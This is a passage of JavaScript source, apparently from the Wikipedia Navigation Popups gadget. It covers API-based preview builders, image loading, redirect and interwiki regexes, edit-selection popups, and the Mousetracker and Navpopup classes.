}
html = html.join(', ');
if (jsObj.continue && jsObj.continue.blcontinue) {
html += popupString(' and more');
}
return html;
} catch (someError) {
return 'backlinksPreviewHTML went wonky';
}
}
pg.fn.APIsharedImagePagePreviewHTML = function APIsharedImagePagePreviewHTML(obj) {
log('APIsharedImagePagePreviewHTML');
const popupid = obj.requestid;
if (obj.query && obj.query.pages) {
const page = anyChild(obj.query.pages);
const content =
page && page.revisions && page.revisions[0] &&
page.revisions[0].slots && page.revisions[0].slots.main &&
page.revisions[0].slots.main.contentmodel === 'wikitext' ?
page.revisions[0].slots.main.content :
null;
if (
typeof content === 'string' &&
pg &&
pg.current &&
pg.current.link &&
pg.current.link.navpopup
) {
/* Not entirely safe, but the best we can do */
const p = new Previewmaker(
content,
pg.current.link.navpopup.article,
pg.current.link.navpopup
);
p.makePreview();
setPopupHTML(p.html, 'popupSecondPreview', popupid);
}
}
};
function APIimagepagePreviewHTML(article, download, navpop) {
try {
const jsObj = getJsObj(download.data);
const page = anyChild(jsObj.query.pages);
const content =
page && page.revisions && page.revisions[0] &&
page.revisions[0].slots && page.revisions[0].slots.main &&
page.revisions[0].slots.main.contentmodel === 'wikitext' ?
page.revisions[0].slots.main.content :
null;
let ret = '';
let alt = '';
try {
alt = navpop.parentAnchor.childNodes[0].alt;
} catch (e) {}
if (alt) {
ret = ret + '<hr /><b>' + popupString('Alt text:') + '</b> ' + pg.escapeQuotesHTML(alt);
}
if (typeof content === 'string') {
const p = prepPreviewmaker(content, article, navpop);
p.makePreview();
if (p.html) {
ret += '<hr />' + p.html;
}
if (getValueOf('popupSummaryData')) {
const info = getPageInfo(content, download);
log(info);
setPopupTrailer(info, navpop.idNumber);
}
}
if (page && page.imagerepository == 'shared') {
const art = new Title(article);
const encart = encodeURIComponent('File:' + art.stripNamespace());
const shared_url =
pg.wiki.apicommonsbase +
'?format=json&formatversion=2' +
'&callback=pg.fn.APIsharedImagePagePreviewHTML' +
'&requestid=' +
navpop.idNumber +
'&action=query&prop=revisions&rvslots=main&rvprop=content&titles=' +
encart;
ret =
ret +
'<hr />' +
popupString('Image from Commons') +
': <a href="' +
pg.wiki.commonsbase +
'?title=' +
encart +
'">' +
popupString('Description page') +
'</a>';
mw.loader.load(shared_url);
}
showAPIPreview(
'imagelinks',
APIimagelinksPreviewHTML(article, download),
navpop.idNumber,
download
);
return ret;
} catch (someError) {
return 'API imagepage preview failed :(';
}
}
function APIimagelinksPreviewHTML(article, download) {
try {
const jsobj = getJsObj(download.data);
const list = jsobj.query.imageusage;
if (list) {
const ret = [];
for (let i = 0; i < list.length; i++) {
ret.push(list[i].title);
}
if (ret.length === 0) {
return popupString('No image links found');
}
return '<h2>' + popupString('File links') + '</h2>' + linkList(ret);
} else {
return popupString('No image links found');
}
} catch (someError) {
return 'Image links preview generation failed :(';
}
}
function APIcategoryPreviewHTML(article, download) {
try {
const jsobj = getJsObj(download.data);
const list = jsobj.query.categorymembers;
let ret = [];
for (let p = 0; p < list.length; p++) {
ret.push(list[p].title);
}
if (ret.length === 0) {
return popupString('Empty category');
}
ret = '<h2>' + tprintf('Category members (%s shown)', [ret.length]) + '</h2>' + linkList(ret);
if (jsobj.continue && jsobj.continue.cmcontinue) {
ret += popupString(' and more');
}
return ret;
} catch (someError) {
return 'Category preview failed :(';
}
}
function APIuserInfoPreviewHTML(article, download) {
let ret = [];
let queryobj = {};
try {
queryobj = getJsObj(download.data).query;
} catch (someError) {
return 'Userinfo preview failed :(';
}
const user = anyChild(queryobj.users);
if (user) {
const globaluserinfo = queryobj.globaluserinfo;
if (user.invalid === '') {
ret.push(popupString('Invalid user'));
} else if (user.missing === '') {
ret.push(popupString('Not a registered username'));
}
if (user.blockedby) {
if (user.blockpartial) {
ret.push('<b>' + popupString('Has blocks') + '</b>');
} else {
ret.push('<b>' + popupString('BLOCKED') + '</b>');
}
}
if (globaluserinfo && ('locked' in globaluserinfo || 'hidden' in globaluserinfo)) {
let lockedSulAccountIsAttachedToThis = true;
for (let i = 0; globaluserinfo.unattached && i < globaluserinfo.unattached.length; i++) {
if (globaluserinfo.unattached[i].wiki === mw.config.get('wgDBname')) {
lockedSulAccountIsAttachedToThis = false;
break;
}
}
if (lockedSulAccountIsAttachedToThis) {
if ('locked' in globaluserinfo) {
ret.push('<b><i>' + popupString('LOCKED') + '</i></b>');
}
if ('hidden' in globaluserinfo) {
ret.push('<b><i>' + popupString('HIDDEN') + '</i></b>');
}
}
}
if (getValueOf('popupShowGender') && user.gender) {
switch (user.gender) {
case 'male':
ret.push(popupString('he/him') + ' · ');
break;
case 'female':
ret.push(popupString('she/her') + ' · ');
break;
}
}
if (user.groups) {
user.groups.forEach((groupName) => {
if (['*', 'user', 'autoconfirmed', 'extendedconfirmed', 'oathauth-twofactorauth'].indexOf(groupName) === -1) {
ret.push(
pg.escapeQuotesHTML(mw.message('group-' + groupName + '-member', user.gender).text())
);
}
});
}
if (globaluserinfo && globaluserinfo.groups) {
globaluserinfo.groups.forEach((groupName) => {
ret.push(
'<i>' +
pg.escapeQuotesHTML(
mw.message('group-' + groupName + '-member', user.gender).text()
) +
'</i>'
);
});
}
if (user.registration) {
ret.push(
pg.escapeQuotesHTML(
(user.editcount ? user.editcount : '0') +
popupString(' edits since: ') +
(user.registration ? formattedDate(new Date(user.registration)) : '')
)
);
}
}
if (queryobj.usercontribs && queryobj.usercontribs.length) {
ret.push(
popupString('last edit on ') + formattedDate(new Date(queryobj.usercontribs[0].timestamp))
);
}
if (queryobj.blocks) {
ret.push(popupString('IP user')); //we only request list=blocks for IPs
for (let l = 0; l < queryobj.blocks.length; l++) {
let rbstr =
queryobj.blocks[l].rangestart === queryobj.blocks[l].rangeend ? 'BLOCK' : 'RANGEBLOCK';
rbstr = !Array.isArray(queryobj.blocks[l].restrictions) ?
'Has ' + rbstr.toLowerCase() + 's' :
rbstr + 'ED';
ret.push('<b>' + popupString(rbstr) + '</b>');
}
}
// if any element of ret ends with ' · ', merge it with the next element to avoid
// the .join(', ') call inserting a comma after it
for (let m = 0; m < ret.length - 1; m++) {
if (ret[m].length > 3 && ret[m].substring(ret[m].length - 3) === ' · ') {
ret[m] = ret[m] + ret[m + 1];
ret.splice(m + 1, 1); // delete element at index m+1
m--;
}
}
ret = '<hr />' + ret.join(', ');
return ret;
}
function APIcontribsPreviewHTML(article, download, navpop) {
return APIhistoryPreviewHTML(article, download, navpop, true);
}
function APIhistoryPreviewHTML(article, download, navpop, reallyContribs) {
try {
const jsobj = getJsObj(download.data);
let edits = [];
if (reallyContribs) {
edits = jsobj.query.usercontribs;
} else {
edits = anyChild(jsobj.query.pages).revisions;
}
const ret = editPreviewTable(article, edits, reallyContribs);
return ret;
} catch (someError) {
return popupString('History preview failed');
}
}
// ENDFILE: querypreview.js
// STARTFILE: debug.js
////////////////////////////////////////////////////////////////////
// Debugging functions
////////////////////////////////////////////////////////////////////
function setupDebugging() {
if (window.popupDebug) {
// popupDebug is set from .version
window.log = function (x) {
//if(gMsg!='')gMsg += '\n'; gMsg+=time() + ' ' + x; };
window.console.log(x);
};
window.errlog = function (x) {
window.console.error(x);
};
log('Initializing logger');
} else {
window.log = function () {};
window.errlog = function () {};
}
}
// ENDFILE: debug.js
// STARTFILE: images.js
// load image of type Title.
function loadImage(image, navpop) {
if (typeof image.stripNamespace != 'function') {
alert('loadImages bad');
}
// API call to retrieve image info.
if (!getValueOf('popupImages')) {
return;
}
if (!isValidImageName(image)) {
return false;
}
const art = image.urlString();
let url = pg.wiki.apiwikibase + '?format=json&formatversion=2&action=query';
url += '&prop=imageinfo&iiprop=url|mime&iiurlwidth=' + getValueOf('popupImageSizeLarge');
url += '&titles=' + art;
pendingNavpopTask(navpop);
const callback = function (d) {
popupsInsertImage(navpop.idNumber, navpop, d);
};
const go = function () {
getPageWithCaching(url, callback, navpop);
return true;
};
if (navpop.visible || !getValueOf('popupLazyDownloads')) {
go();
} else {
navpop.addHook(go, 'unhide', 'after', 'DOWNLOAD_IMAGE_QUERY_DATA');
}
}
function popupsInsertImage(id, navpop, download) {
log('popupsInsertImage');
let imageinfo;
try {
const jsObj = getJsObj(download.data);
const imagepage = anyChild(jsObj.query.pages);
if (typeof imagepage.imageinfo === 'undefined') {
return;
}
imageinfo = imagepage.imageinfo[0];
} catch (someError) {
log('popupsInsertImage failed :(');
return;
}
const popupImage = document.getElementById('popupImg' + id);
if (!popupImage) {
log('could not find insertion point for image');
return;
}
popupImage.width = getValueOf('popupImageSize');
popupImage.style.display = 'inline';
// Set the source for the image.
if (imageinfo.thumburl) {
popupImage.src = imageinfo.thumburl;
} else if (imageinfo.mime.indexOf('image') === 0) {
popupImage.src = imageinfo.url;
log('a thumb could not be found, using original image');
} else {
log("fullsize imagethumb, but not sure if it's an image");
}
const a = document.getElementById('popupImageLink' + id);
if (a === null) {
return null;
}
// Determine the action of the surrouding imagelink.
switch (getValueOf('popupThumbAction')) {
case 'imagepage':
if (pg.current.article.namespaceId() != pg.nsImageId) {
a.href = imageinfo.descriptionurl;
// FIXME: unreliable pg.idNumber
popTipsSoonFn('popupImage' + id)();
break;
}
/* falls through */
case 'sizetoggle':
a.onclick = toggleSize;
a.title = popupString('Toggle image size');
return;
case 'linkfull':
a.href = imageinfo.url;
a.title = popupString('Open full-size image');
return;
}
}
// Toggles the image between inline small and navpop fullwidth.
// It's the same image, no actual sizechange occurs, only display width.
function toggleSize() {
const imgContainer = this;
if (!imgContainer) {
alert('imgContainer is null :/');
return;
}
const img = imgContainer.firstChild;
if (!img) {
alert('img is null :/');
return;
}
if (!img.style.width || img.style.width === '') {
img.style.width = '100%';
} else {
img.style.width = '';
}
}
// Returns one title of an image from wikiText.
function getValidImageFromWikiText(wikiText) {
// nb in pg.re.image we're interested in the second bracketed expression
// this may change if the regex changes :-(
//var match=pg.re.image.exec(wikiText);
let matched = null;
let match;
// strip html comments, used by evil bots :-(
const t = removeMatchesUnless(
wikiText,
/(<!--[\s\S]*?-->)/,
1,
/^<!--[^[]*popup/i
);
while ((match = pg.re.image.exec(t))) {
// now find a sane image name - exclude templates by seeking {
const m = match[2] || match[6];
if (isValidImageName(m)) {
matched = m;
break;
}
}
pg.re.image.lastIndex = 0;
if (!matched) {
return null;
}
return mw.config.get('wgFormattedNamespaces')[pg.nsImageId] + ':' + upcaseFirst(matched);
}
function removeMatchesUnless(str, re1, parencount, re2) {
const split = str.parenSplit(re1);
const c = parencount + 1;
for (let i = 0; i < split.length; ++i) {
if (i % c === 0 || re2.test(split[i])) {
continue;
}
split[i] = '';
}
return split.join('');
}
// ENDFILE: images.js
// STARTFILE: namespaces.js
// Set up namespaces and other non-strings.js localization
// (currently that means redirs too)
function setNamespaces() {
pg.nsSpecialId = -1;
pg.nsMainspaceId = 0;
pg.nsImageId = 6;
pg.nsUserId = 2;
pg.nsUsertalkId = 3;
pg.nsCategoryId = 14;
pg.nsTemplateId = 10;
}
function setRedirs() {
const r = 'redirect';
const R = 'REDIRECT';
const redirLists = {
ar: [R, 'تحويل'],
be: [r, 'перанакіраваньне'],
bg: [r, 'пренасочване', 'виж'],
bs: [r, 'Preusmjeri', 'preusmjeri', 'PREUSMJERI'],
bn: [R, 'পুনর্নির্দেশ'],
cs: [R, 'PŘESMĚRUJ'],
cy: [r, 'ail-cyfeirio'],
de: [R, 'WEITERLEITUNG'],
el: [R, 'ΑΝΑΚΑΤΕΥΘΥΝΣΗ'],
eo: [R, 'ALIDIREKTU', 'ALIDIREKTI'],
es: [R, 'REDIRECCIÓN'],
et: [r, 'suuna'],
ga: [r, 'athsheoladh'],
gl: [r, 'REDIRECCIÓN', 'REDIRECIONAMENTO'],
he: [R, 'הפניה'],
hu: [R, 'ÁTIRÁNYÍTÁS'],
is: [r, 'tilvísun', 'TILVÍSUN'],
it: [R, 'RINVIA', 'Rinvia'],
ja: [R, '転送'],
mk: [r, 'пренасочување', 'види'],
nds: [r, 'wiederleiden'],
'nds-nl': [R, 'DEURVERWIEZING', 'DUURVERWIEZING'],
nl: [R, 'DOORVERWIJZING'],
nn: [r, 'omdiriger'],
pl: [R, 'PATRZ', 'PRZEKIERUJ', 'TAM'],
pt: [R, 'redir'],
ru: [R, 'ПЕРЕНАПРАВЛЕНИЕ', 'ПЕРЕНАПР'],
sk: [r, 'presmeruj'],
sr: [r, 'Преусмери', 'преусмери', 'ПРЕУСМЕРИ', 'Preusmeri', 'preusmeri', 'PREUSMERI'],
tr: [R, 'YÖNLENDİRME', 'yönlendirme', 'YÖNLENDİR', 'yönlendir'],
tt: [R, 'yünältü', 'перенаправление', 'перенапр'],
uk: [R, 'ПЕРЕНАПРАВЛЕННЯ', 'ПЕРЕНАПР'],
vi: [r, 'đổi'],
yi: [R, 'ווייטערפירן'],
zh: [R, '重定向'], // no comma
};
const redirList = redirLists[pg.wiki.lang] || [r, R];
// Mediawiki is very tolerant about what comes after the #redirect at the start
pg.re.redirect = RegExp(
'^\\s*[#](' + redirList.join('|') + ').*?\\[{2}([^\\|\\]]*)(|[^\\]]*)?\\]{2}\\s*(.*)',
'i'
);
}
function setInterwiki() {
if (pg.wiki.wikimedia) {
// From https://meta.wikimedia.org/wiki/List_of_Wikipedias
//en.wikipedia.org/w/api.php?action=sitematrix&format=json&smtype=language&smlangprop=code&formatversion=2
pg.wiki.interwiki =
'aa|ab|ace|af|ak|als|am|an|ang|ar|arc|arz|as|ast|av|ay|az|ba|bar|bat-smg|bcl|be|be-x-old|bg|bh|bi|bjn|bm|bn|bo|bpy|br|bs|bug|bxr|ca|cbk-zam|cdo|ce|ceb|ch|cho|chr|chy|ckb|co|cr|crh|cs|csb|cu|cv|cy|da|de|diq|dsb|dv|dz|ee|el|eml|en|eo|es|et|eu|ext|fa|ff|fi|fiu-vro|fj|fo|fr|frp|frr|fur|fy|ga|gag|gan|gd|gl|glk|gn|got|gu|gv|ha|hak|haw|he|hi|hif|ho|hr|hsb|ht|hu|hy|hz|ia|id|ie|ig|ii|ik|ilo|io|is|it|iu|ja|jbo|jv|ka|kaa|kab|kbd|kg|ki|kj|kk|kl|km|kn|ko|koi|kr|krc|ks|ksh|ku|kv|kw|ky|la|lad|lb|lbe|lg|li|lij|lmo|ln|lo|lt|ltg|lv|map-bms|mdf|mg|mh|mhr|mi|mk|ml|mn|mo|mr|mrj|ms|mt|mus|mwl|my|myv|mzn|na|nah|nap|nds|nds-nl|ne|new|ng|nl|nn|no|nov|nrm|nv|ny|oc|om|or|os|pa|pag|pam|pap|pcd|pdc|pfl|pi|pih|pl|pms|pnb|pnt|ps|pt|qu|rm|rmy|rn|ro|roa-rup|roa-tara|ru|rue|rw|sa|sah|sc|scn|sco|sd|se|sg|sh|si|simple|sk|sl|sm|sn|so|sq|sr|srn|ss|st|stq|su|sv|sw|szl|ta|te|tet|tg|th|ti|tk|tl|tn|to|tpi|tr|ts|tt|tum|tw|ty|udm|ug|uk|ur|uz|ve|vec|vi|vls|vo|wa|war|wo|wuu|xal|xh|yi|yo|za|zea|zh|zh-classical|zh-min-nan|zh-yue|zu';
pg.re.interwiki = RegExp('^' + pg.wiki.interwiki + ':');
} else {
pg.wiki.interwiki = null;
pg.re.interwiki = /^$/;
}
}
// return a regexp pattern matching all variants to write the given namespace
function nsRe(namespaceId) {
const imageNamespaceVariants = [];
$.each(mw.config.get('wgNamespaceIds'), (_localizedNamespaceLc, _namespaceId) => {
if (_namespaceId != namespaceId) {
return;
}
_localizedNamespaceLc = upcaseFirst(_localizedNamespaceLc);
imageNamespaceVariants.push(
mw.util.escapeRegExp(_localizedNamespaceLc).split(' ').join('[ _]')
);
imageNamespaceVariants.push(mw.util.escapeRegExp(encodeURI(_localizedNamespaceLc)));
});
return '(?:' + imageNamespaceVariants.join('|') + ')';
}
function nsReImage() {
return nsRe(pg.nsImageId);
}
// ENDFILE: namespaces.js
// STARTFILE: selpop.js
function getEditboxSelection() {
// see http://www.webgurusforum.com/8/12/0
let editbox;
try {
editbox = document.editform.wpTextbox1;
} catch (dang) {
return;
}
// IE, Opera
if (document.selection) {
return document.selection.createRange().text;
}
// Mozilla
const selStart = editbox.selectionStart;
const selEnd = editbox.selectionEnd;
return editbox.value.substring(selStart, selEnd);
}
function doSelectionPopup() {
// popup if the selection looks like [[foo|anything afterwards at all
// or [[foo|bar]]text without ']]'
// or [[foo|bar]]
const sel = getEditboxSelection();
const open = sel.indexOf('[[');
const pipe = sel.indexOf('|');
const close = sel.indexOf(']]');
if (open == -1 || (pipe == -1 && close == -1)) {
return;
}
if ((pipe != -1 && open > pipe) || (close != -1 && open > close)) {
return;
}
const article = new Title(sel.substring(open + 2, pipe < 0 ? close : pipe));
if (getValueOf('popupOnEditSelection') == 'boxpreview') {
return doSeparateSelectionPopup(sel, article);
}
if (close > 0 && sel.substring(close + 2).indexOf('[[') >= 0) {
return;
}
const a = document.createElement('a');
a.href = pg.wiki.titlebase + article.urlString();
mouseOverWikiLink2(a);
if (a.navpopup) {
a.navpopup.addHook(
() => {
runStopPopupTimer(a.navpopup);
},
'unhide',
'after'
);
}
}
function doSeparateSelectionPopup(str, article) {
let div = document.getElementById('selectionPreview');
if (!div) {
div = document.createElement('div');
div.id = 'selectionPreview';
try {
const box = document.editform.wpTextbox1;
box.parentNode.insertBefore(div, box);
} catch (error) {
return;
}
}
const p = prepPreviewmaker(str, article, newNavpopup(document.createElement('a'), article));
p.makePreview();
if (p.html) {
div.innerHTML = p.html;
}
div.ranSetupTooltipsAlready = false;
popTipsSoonFn('selectionPreview')();
}
// ENDFILE: selpop.js
// STARTFILE: navpopup.js
/**
* @file Defines two classes: {@link Navpopup} and {@link Mousetracker}.
*
* <code>Navpopup</code> describes popups: when they appear, where, what
* they look like and so on.
*
* <code>Mousetracker</code> "captures" the mouse using
* <code>document.onmousemove</code>.
*/
/**
* Creates a new Mousetracker.
*
* @constructor
* @class The Mousetracker class. This monitors mouse movements and manages associated hooks.
*/
function Mousetracker() {
/**
* Interval to regularly run the hooks anyway, in milliseconds.
*
* @type {number}
*/
this.loopDelay = 400;
/**
* Timer for the loop.
*
* @type {Timer}
*/
this.timer = null;
/**
* Flag - are we switched on?
*
* @type {boolean}
*/
this.active = false;
/**
* Flag - are we probably inaccurate, i.e. not reflecting the actual mouse position?
*/
this.dirty = true;
/**
* Array of hook functions.
*
* @private
* @type {Array}
*/
this.hooks = [];
}
/**
* Adds a hook, to be called when we get events.
*
* @param {Function} f A function which is called as
* <code>f(x,y)</code>. It should return <code>true</code> when it
* wants to be removed, and <code>false</code> otherwise.
*/
Mousetracker.prototype.addHook = function (f) {
this.hooks.push(f);
};
/**
* Runs hooks, passing them the x
* and y coords of the mouse. Hook functions that return true are
* passed to {@link Mousetracker#removeHooks} for removal.
*
* @private
*/
Mousetracker.prototype.runHooks = function () {
if (!this.hooks || !this.hooks.length) {
return;
}
//log('Mousetracker.runHooks; we got some hooks to run');
let remove = false;
const removeObj = {};
// this method gets called a LOT -
// pre-cache some variables
const x = this.x,
y = this.y,
len = this.hooks.length;
for (let i = 0; i < len; ++i) {
//~ run the hook function, and remove it if it returns true
if (this.hooks[i](x, y) === true) {
remove = true;
removeObj[i] = true;
}
}
if (remove) {
this.removeHooks(removeObj);
}
};
/**
* Removes hooks.
*
* @private
* @param {Object} removeObj An object whose keys are the index
* numbers of functions for removal, with values that evaluate to true
*/
Mousetracker.prototype.removeHooks = function (removeObj) {
const newHooks = [];
const len = this.hooks.length;
for (let i = 0; i < len; ++i) {
if (!removeObj[i]) {
newHooks.push(this.hooks[i]);
}
}
this.hooks = newHooks;
};
/**
* Event handler for mouse wiggles.
* We simply grab the event, set x and y and run the hooks.
* This makes the cpu all hot and bothered :-(
*
* @private
* @param {Event} e Mousemove event
*/
Mousetracker.prototype.track = function (e) {
//~ Apparently this is needed in IE.
e = e || window.event;
let x, y;
if (e) {
if (e.pageX) {
x = e.pageX;
y = e.pageY;
} else if (typeof e.clientX != 'undefined') {
let left,
top,
docElt = document.documentElement;
if (docElt) {
left = docElt.scrollLeft;
}
left = left || document.body.scrollLeft || document.scrollLeft || 0;
if (docElt) {
top = docElt.scrollTop;
}
top = top || document.body.scrollTop || document.scrollTop || 0;
x = e.clientX + left;
y = e.clientY + top;
} else {
return;
}
this.setPosition(x, y);
}
};
/**
* Sets the x and y coordinates stored and takes appropriate action,
* running hooks as appropriate.
*
* @param {number} x Screen coordinates to set
* @param {number} y Screen coordinates to set
*/
Mousetracker.prototype.setPosition = function (x, y) {
this.x = x;
this.y = y;
if (this.dirty || this.hooks.length === 0) {
this.dirty = false;
return;
}
if (typeof this.lastHook_x != 'number') {
this.lastHook_x = -100;
this.lastHook_y = -100;
}
let diff = (this.lastHook_x - x) * (this.lastHook_y - y);
diff = diff >= 0 ? diff : -diff;
if (diff > 1) {
this.lastHook_x = x;
this.lastHook_y = y;
if (this.dirty) {
this.dirty = false;
} else {
this.runHooks();
}
}
};
/**
* Sets things in motion, unless they are already that is, registering an event handler on
* <code>document.onmousemove</code>. A half-hearted attempt is made to preserve the old event
* handler if there is one.
*/
Mousetracker.prototype.enable = function () {
if (this.active) {
return;
}
this.active = true;
//~ Save the current handler for mousemove events. This isn't too
//~ robust, of course.
this.savedHandler = document.onmousemove;
//~ Gotta save @tt{this} again for the closure, and use apply for
//~ the member function.
const savedThis = this;
document.onmousemove = function (e) {
savedThis.track.apply(savedThis, [e]);
};
if (this.loopDelay) {
this.timer = setInterval(() => {
//log('loop delay in mousetracker is working');
savedThis.runHooks();
}, this.loopDelay);
}
};
/**
* Disables the tracker, removing the event handler.
*/
Mousetracker.prototype.disable = function () {
if (!this.active) {
return;
}
if (typeof this.savedHandler === 'function') {
document.onmousemove = this.savedHandler;
} else {
delete document.onmousemove;
}
if (this.timer) {
clearInterval(this.timer);
}
this.active = false;
};
/**
* Creates a new Navpopup.
* Gets a UID for the popup and
*
* @param init Contructor object. If <code>init.draggable</code> is true or absent, the popup becomes draggable.
* @constructor
* @class The Navpopup class. This generates popup hints, and does some management of them.
*/
function Navpopup(/*init*/) {
//alert('new Navpopup(init)');
/**
* UID for each Navpopup instance.
* Read-only.
*
* @type {number}
*/
this.uid = Navpopup.uid++;
/**
* Read-only flag for current visibility of the popup.
*
* @type {boolean}
* @private
*/
this.visible = false;
/** Flag to be set when we want to cancel a previous request to
* show the popup in a little while.
*
* @private
* @type {boolean}
*/
this.noshow = false;
/** Categorised list of hooks.
* @see #runHooks
* @see #addHook
* @private
* @type {Object}
*/
this.hooks = {
create: [],
unhide: [],
hide: [],
};
/**
* list of unique IDs of hook functions, to avoid duplicates
*
* @private
*/
this.hookIds = {};
/** List of downloads associated with the popup.
* @private
* @type {Array}
*/
this.downloads = [];
/**
* Number of uncompleted downloads.
*
* @type {number}
*/
this.pending = null;
/**
* Tolerance in pixels when detecting whether the mouse has left the popup.
*
* @type {number}
*/
this.fuzz = 5;
/**
* Flag to toggle running {@link #limitHorizontalPosition} to regulate the popup's position.
*
* @type {boolean}
*/
this.constrained = true;
/**
* The popup width in pixels.
*
* @private
* @type {number}
*/
this.width = 0;
/**
* The popup width in pixels.
*
* @private
* @type {number}
*/
this.height = 0;
/**
* The main content DIV element.
*
* @type {HTMLDivElement}
*/
this.mainDiv = null;
this.createMainDiv();
// if (!init || typeof init.popups_draggable=='undefined' || init.popups_draggable) {
// this.makeDraggable(true);
// }
}
/**
* A UID for each Navpopup. This constructor property is just a counter.
*
* @type {number}
* @private
*/
Navpopup.uid = 0;
/**
* Retrieves the {@link #visible} attribute, indicating whether the popup is currently visible.
*
* @type {boolean}
*/
Navpopup.prototype.isVisible = function () {
return this.visible;
};
/**
* Repositions popup using CSS style.
*
* @private
* @param {number} x x-coordinate (px)
* @param {number} y y-coordinate (px)
* @param {boolean} noLimitHor Don't call {@link #limitHorizontalPosition}
*/
Navpopup.prototype.reposition = function (x, y, noLimitHor) {
log('reposition(' + x + ',' + y + ',' + noLimitHor + ')');
if (typeof x != 'undefined' && x !== null) {
this.left = x;
}
if (typeof y != 'undefined' && y !== null) {
this.top = y;
}
if (typeof this.left != 'undefined' && typeof this.top != 'undefined') {
this.mainDiv.style.left = this.left + 'px';
this.mainDiv.style.top = this.top + 'px';
}
if (!noLimitHor) {
this.limitHorizontalPosition();
}
//console.log('navpop'+this.uid+' - (left,top)=(' + this.left + ',' + this.top + '), css=('
//+ this.mainDiv.style.left + ',' + this.mainDiv.style.top + ')');
};
/**
* Prevents popups from being in silly locations. Hopefully.
* Should not be run if {@link #constrained} is true.
*
* @private
*/
Navpopup.prototype.limitHorizontalPosition = function () {
if (!this.constrained || this.tooWide) {
return;
}
this.updateDimensions();
const x = this.left;
const w = this.width;
const cWidth = document.body.clientWidth;
// log('limitHorizontalPosition: x='+x+
// ', this.left=' + this.left +
// ', this.width=' + this.width +
// ', cWidth=' + cWidth);
if (
x + w >= cWidth ||
(x > 0 &&
this.maxWidth &&
this.width < this.maxWidth &&
this.height > this.width &&
x > cWidth - this.maxWidth)
) {
// This is a very nasty hack. There has to be a better way!
// We find the "natural" width of the div by positioning it at the far left
// then reset it so that it should be flush right (well, nearly)
this.mainDiv.style.left = '-10000px';
this.mainDiv.style.width = this.maxWidth + 'px';
const naturalWidth = parseInt(this.mainDiv.offsetWidth, 10);
let newLeft = cWidth - naturalWidth - 1;
if (newLeft < 0) {
newLeft = 0;
this.tooWide = true;
} // still unstable for really wide popups?
log(
'limitHorizontalPosition: moving to (' +
newLeft +
',' +
this.top +
');' +
' naturalWidth=' +
naturalWidth +
', clientWidth=' +
cWidth
);
this.reposition(newLeft, null, true);
}
};
/**
* Counter indicating the z-order of the "highest" popup.
* We start the z-index at 1000 so that popups are above everything
* else on the screen.
*
* @private
* @type {number}
*/
Navpopup.highest = 1000;
/**
* Brings popup to the top of the z-order.
* We increment the {@link #highest} property of the contructor here.
*
* @private
*/
Navpopup.prototype.raise = function () {
this.mainDiv.style.zIndex = Navpopup.highest + 1;
++Navpopup.highest;
};
/**
* Shows the popup provided {@link #noshow} is not true.
* Updates the position, brings the popup to the top of the z-order and unhides it.
*/
Navpopup.prototype.show = function () {
//document.title+='s';
if (this.noshow) {
return;
}
//document.title+='t';
this.reposition();
this.raise();
this.unhide();
};
/**
* Checks to see if the mouse pointer has
* stabilised (checking every <code>time</code>/2 milliseconds) and runs the
* {@link #show} method if it has.
*
* @param {number} time The minimum time (ms) before the popup may be shown.
*/
Navpopup.prototype.showSoonIfStable = function (time) {
log('showSoonIfStable, time=' + time);
if (this.visible) {
return;
}
this.noshow = false;
//~ initialize these variables so that we never run @tt{show} after
//~ just half the time
this.stable_x = -10000;
this.stable_y = -10000;
const stableShow = function () {
log('stableShow called');
let new_x = Navpopup.tracker.x,
new_y = Navpopup.tracker.y;
let dx = savedThis.stable_x - new_x,
dy = savedThis.stable_y - new_y;
let fuzz2 = 0; // savedThis.fuzz * savedThis.fuzz;
//document.title += '[' + [savedThis.stable_x,new_x, savedThis.stable_y,new_y, dx, dy, fuzz2].join(',') + '] ';
if (dx * dx <= fuzz2 && dy * dy <= fuzz2) {
log('mouse is stable');
clearInterval(savedThis.showSoonStableTimer);
savedThis.reposition.apply(savedThis, [new_x + 2, new_y + 2]);
savedThis.show.apply(savedThis, []);
savedThis.limitHorizontalPosition.apply(savedThis, []);
return;
}
savedThis.stable_x = new_x;
savedThis.stable_y = new_y;
};
var savedThis = this;
this.showSoonStableTimer = setInterval(stableShow, time / 2);
};
/**
* Sets the {@link #noshow} flag and hides the popup. This should be called
* when the mouse leaves the link before
* (or after) it's actually been displayed.
*/
Navpopup.prototype.banish = function () {
log('banish called');
// hide and prevent showing with showSoon in the future
this.noshow = true;
if (this.showSoonStableTimer) {
log('clearing showSoonStableTimer');
clearInterval(this.showSoonStableTimer);
}
this.hide();
};
/**
* Runs hooks added with {@link #addHook}.
*
* @private
* @param {string} key Key name of the {@link #hooks} array - one of 'create', 'unhide', 'hide'
* @param {string} when Controls exactly when the hook is run: either 'before' or 'after'
*/
Navpopup.prototype.runHooks = function (key, when) {
if (!this.hooks[key]) {
return;
}
const keyHooks = this.hooks[key];
const len = keyHooks.length;
for (let i = 0; i < len; ++i) {
if (keyHooks[i] && keyHooks[i].when == when) {
if (keyHooks[i].hook.apply(this, [])) {
// remove the hook
if (keyHooks[i].hookId) {
delete this.hookIds[keyHooks[i].hookId];
}
keyHooks[i] = null;
}
}
}
};
/**
* Adds a hook to the popup. Hook functions are run with <code>this</code> set to refer to the
* Navpopup instance, and no arguments.
*
* @param {Function} hook The hook function. Functions that return true are deleted.
* @param {string} key Key name of the {@link #hooks} array - one of 'create', 'unhide', 'hide'
* @param {String} when Controls exactly when the hook is run: either 'before' or 'after'
* @param {String} uid A truthy string identifying the hook function; if it matches another hook
* in this position, it won't be added again.
*/
Navpopup.prototype.addHook = function (hook, key, when, uid) {
when = when || 'after';
if (!this.hooks[key]) {
return;
}
// if uid is specified, don't add duplicates
let hookId = null;
if (uid) {
hookId = [key, when, uid].join('|');
if (this.hookIds[hookId]) {
return;
}
this.hookIds[hookId] = true;
}
this.hooks[key].push({ hook: hook, when: when, hookId: hookId });
};
/**
* Creates the main DIV element, which contains all the actual popup content.
* Runs hooks with key 'create'.
*
* @private
*/
Navpopup.prototype.createMainDiv = function () {
if (this.mainDiv) {
return;
}
this.runHooks('create', 'before');
const mainDiv = document.createElement('div');
const savedThis = this;
mainDiv.onclick = function (e) {
savedThis.onclickHandler(e);
};
mainDiv.className = this.className ? this.className : 'navpopup_maindiv';
mainDiv.id = mainDiv.className + this.uid;
mainDiv.style.position = 'absolute';
mainDiv.style.minWidth = '350px';
mainDiv.style.display = 'none';
mainDiv.className = 'navpopup';
// easy access to javascript object through DOM functions
mainDiv.navpopup = this;
this.mainDiv = mainDiv;
document.body.appendChild(mainDiv);
